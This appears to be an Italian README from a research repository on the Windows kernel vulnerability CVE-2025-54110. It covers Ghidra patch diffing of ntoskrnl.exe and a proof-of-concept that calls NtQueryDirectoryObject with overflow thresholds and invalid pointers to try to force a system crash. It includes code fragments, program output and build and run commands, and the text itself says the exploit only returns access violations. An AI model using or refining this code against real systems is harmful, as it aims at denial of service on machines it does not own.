### 2. File Analizzati

L'analisi iniziale si è concentrata su due componenti principali del kernel:

#### win32k.sys (-)
- **Risultato:** Nessuna modifica significativa rilevata
- **Intervallo di Punteggio:** 0.97-1.0 (alta similarità)
- **Conclusione:** Non è il componente vulnerabile per CVE-2025-54110

#### ntoskrnl.exe (+)
- **Risultato:** Multiple funzioni con modifiche significative
- **Intervallo di Punteggio:** Funzioni con punteggi ≤0.951
- **Differenze di Lunghezza:** Rilevate variazioni di lunghezza in byte tra Source e Destinazione
- **Totale Elementi Esportati:** 2,036 funzioni per l'analisi

### 3. Risultati del Tracciamento delle Versioni con Ghidra

Campione delle modifiche identificate in `ntoskrnl.exe`:

| Punteggio | Confidenza | Lunghezza Source | Lunghezza Dest | Funzione Source | Funzione Dest |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |

---

## Dichiarazione PoC

### Approccio Tecnico

Il PoC (`precise_overflow_bsod.c`) tenta di innescare la vulnerabilità di integer overflow tramite:

1. **Calcolo Preciso della Soglia:** `0xfffffdbc` (derivato da base=0x20, name=0x200)
2. **API NtQueryDirectoryObject:** Funzione target per innescare l'overflow
3. **Strategia di Attacco a Fasi Multiple:**
   - Fase 1: Tentativi di integer overflow di precisione
   - Fase 2: Bersaglio sulla memoria del kernel
   - Fase 3: Sfruttamento multi-thread

### Struttura del Codice```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
    0xfffffdbc,  // Precise threshold - base=0x20, name=0x200
    0xfffffdbb,  // Threshold - 1
    0xfffffdbd,  // Threshold + 1
    0xfffffdba,  // Threshold - 2  
    0xfffffdbe,  // Threshold + 2
};

// Buffer configurations to test edge cases
PVOID buffer_types[] = {
    VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE),  // Normal buffer
    VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE),    // Small buffer
    NULL,                                                    // NULL pointer
    (PVOID)0x4141414141414141,                              // Invalid pointer
    (PVOID)0x0000000000000000,                              // Zero address
};

---

## Perché il PoC non causa il crash del sistema

### Risultati effettivi

Il PoC restituisce costantemente `STATUS_ACCESS_VIOLATION (0xC0000005)` senza causare un Blue Screen of Death (BSOD). Questo è **voluto** e dimostra diversi meccanismi critici di sicurezza del kernel di Windows:

### 1. Structured Exception Handling (SEH)```
User-Mode Input → NtQueryDirectoryObject
                        ↓
                  ProbeForRead/Write
                        ↓
                  __try { ... }
                        ↓
              Access Violation Detected
                        ↓
                  __except { ... }
                        ↓
            Return STATUS_ACCESS_VIOLATION

**Impatto sul PoC:**
- Anche se si verifica un overflow, l'accesso diretto alla memoria dal kernel all'utente è bloccato
- Impedisce lo sfruttamento delle vulnerabilità di dereferenziazione dei puntatori

### 3. KASLR (Randomizzazione del layout dello spazio degli indirizzi del kernel)```
Boot Time: Kernel Base = Random Address
                ↓
Hardcoded PoC address (0xfffffdbc)
                ↓
        Does NOT match actual kernel structures
                ↓
    Write to non-critical memory OR caught by SEH

---

## Analisi dell'output di esecuzione del PoC

### Output previsto

Vedere `STATUS_ACCESS_VIOLATION (0xC0000005)`, poi è ok.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
    CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y

[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[-] Exploit finished. If the system is still running, the attack may have been mitigated.

C:\Users\reLab\Desktop\cve>

### Comportamento osservato```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005

---

## Valore Educativo

### Cosa Dimostra Questo PoC

#### Risultati

1. **Metodologia di Patch Diffing**
   - Confronto di binari pre/post-patch usando Ghidra
   - Identificazione di funzioni modificate tramite version tracking
   - Analisi di metriche di similarità basate su punteggio

2. **Architettura del Kernel Windows**
   - Comprensione del flusso di syscall (`NtQueryDirectoryObject`)
   - Riconoscimento dei confini kernel/modalità utente
   - Apprendimento delle funzioni interne di NTAPI

3. **Comportamento dei Meccanismi di Sicurezza**
   - SEH in azione: eccezione catturata vs. crash di sistema
   - SMAP che impedisce l'accesso non autorizzato alla memoria
   - KASLR che sconfigge lo sfruttamento di indirizzi statici

4. **Processo di Ricerca delle Vulnerabilità**
   - Analisi CVE e raccolta informazioni
   - Reverse engineering delle modifiche binarie
   - Verifica di ipotesi attraverso tentativi controllati di sfruttamento

#### Limitazioni

1. **Le Protezioni Moderne del Kernel Sono Efficaci**
   - Semplici tentativi di overflow sono insufficienti
   - È necessario bypassare più livelli di difesa
   - La sola analisi statica non può predire lo sfruttabilità

2. **Divario tra Teoria e Pratica**
   - L'integer overflow esiste (teorico)
   - Lo sfruttamento pratico richiede:
     - Divulgazione di informazioni (leak di indirizzi kernel)
     - Heap shaping/Feng Shui
     - Catene ROP o altre primitive di esecuzione codice
     - Bypass di DEP, CFG, HVCI, ecc.

---

## Funzioni Prioritarie per l'Analisi

Basandosi sulle caratteristiche di CVE-2025-54110 (Integer Overflow → Buffer Overflow nel Kernel), dare priorità alla revisione delle funzioni nel CSV esportato che gestiscono:

### Categorie ad Alta Priorità```yaml
Integer/Size Calculations:
  - Functions with arithmetic operations on buffer sizes
  - Length calculation before allocation
  - Checked vs. unchecked math operations
  
Buffer/Memory Operations:
  - memcpy, memmove, RtlCopyMemory variants
  - ExAllocatePool* family
  - Buffer size validation routines
  
Object Directory Handling:
  - NtQueryDirectoryObject and related helpers
  - ObpLookupDirectoryEntry
  - Object enumeration functions
  
User-Mode Interface:
  - ProbeForRead/Write wrappers
  - Input validation functions
  - IOCTL handlers

**Passaggio 2: Ricerca per parola chiave**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"

**Passaggio 4: Cambiare Magnitudine**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)

### Compilazione```bash
# on x64 Native Tools CLI for VS 20xx

# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib

# or
cl poc.c /link /SUBSYSTEM:CONSOLE

### Esecuzione```powershell
# Run with admin privileges
.\poc64.exe

---

## Risorse e Riferimenti

### Fonti Ufficiali

- [Microsoft Security Advisory - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: Integer Overflow o Wraparound](https://cwe.mitre.org/data/definitions/190.html)
- [Windows Kernel Internals - Documentazione Microsoft](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)

### Strumenti di Ricerca

- [Ghidra - Suite di Reverse Engineering NSA](https://ghidra-sre.org/)
- [WinDbg - Strumenti di Debugging Windows](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)

### Letture Correlate

- [Sviluppo Exploit per Kernel](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Exploitation del Kernel Windows](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Patch Diffing con Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)

---

## Disclaimer Legale

Questo codice è fornito SOLO A SCOPO EDUCATIVO.

NON utilizzare questo codice per:

• Accesso non autorizzato a sistemi informatici

• Attacchi dannosi o danneggiamenti

• Attività illegali


L'autore NON si assume alcuna responsabilità per un uso improprio.
Gli utenti devono rispettare tutte le leggi applicabili.

**Usando questo codice, riconosci:**

1. Di avere l'autorizzazione per testare sui sistemi target
2. Di comprendere le implicazioni legali nella tua giurisdizione
3. Di accettare piena responsabilità per le tue azioni
4. Che questo serve per imparare, non per attività dannose

---

## Disclaimer Legale
Questo repository è fornito rigorosamente a scopo educativo, ricerca difensiva sulla sicurezza e riproduzione di vulnerabilità in ambienti di laboratorio controllati.
Le informazioni e il codice proof-of-concept sono intesi ad aiutare difensori, ricercatori e fornitori a comprendere e correggere la vulnerabilità segnalata.
L'uso non autorizzato o dannoso di questo codice su sistemi senza esplicito permesso potrebbe violare leggi e regolamenti applicabili.
L'autore non incoraggia né approva attività illegali e non si assume alcuna responsabilità per usi impropri o danni causati da questo materiale.

Questo report di divulgazione della vulnerabilità è fornito per:
1. Ricerca e istruzione sulla sicurezza
2. Notifica al fornitore e sviluppo di patch
3. Protezione degli utenti finali
4. Scopi accademici e di sicurezza difensiva

**Usi Proibiti:**
- Accesso non autorizzato a sistemi informatici
- Sfruttamento dannoso
- Qualsiasi attività illegale

Il ricercatore ha condotto tutti i test su sistemi di sua proprietà in ambienti controllati. Non è stato effettuato alcun accesso non autorizzato a sistemi di terze parti.

**Versione del Report:** 1.0  
**Ultimo Aggiornamento:** 9 Febbraio 2026  

---

## Contatti

Per richieste legittime di ricerca sulla sicurezza o collaborazione educativa:

**Divulgazione Responsabile:**
- Problemi di sicurezza con questo PoC → Apri una Issue su GitHub
- Sfruttamento reale di CVE-2025-54110 → Segnala a [MSRC](https://msrc.microsoft.com/)

---

## Licenza```
MIT License - See LICENSE file for details

Educational software provided "as is" without warranty.
Use at your own risk.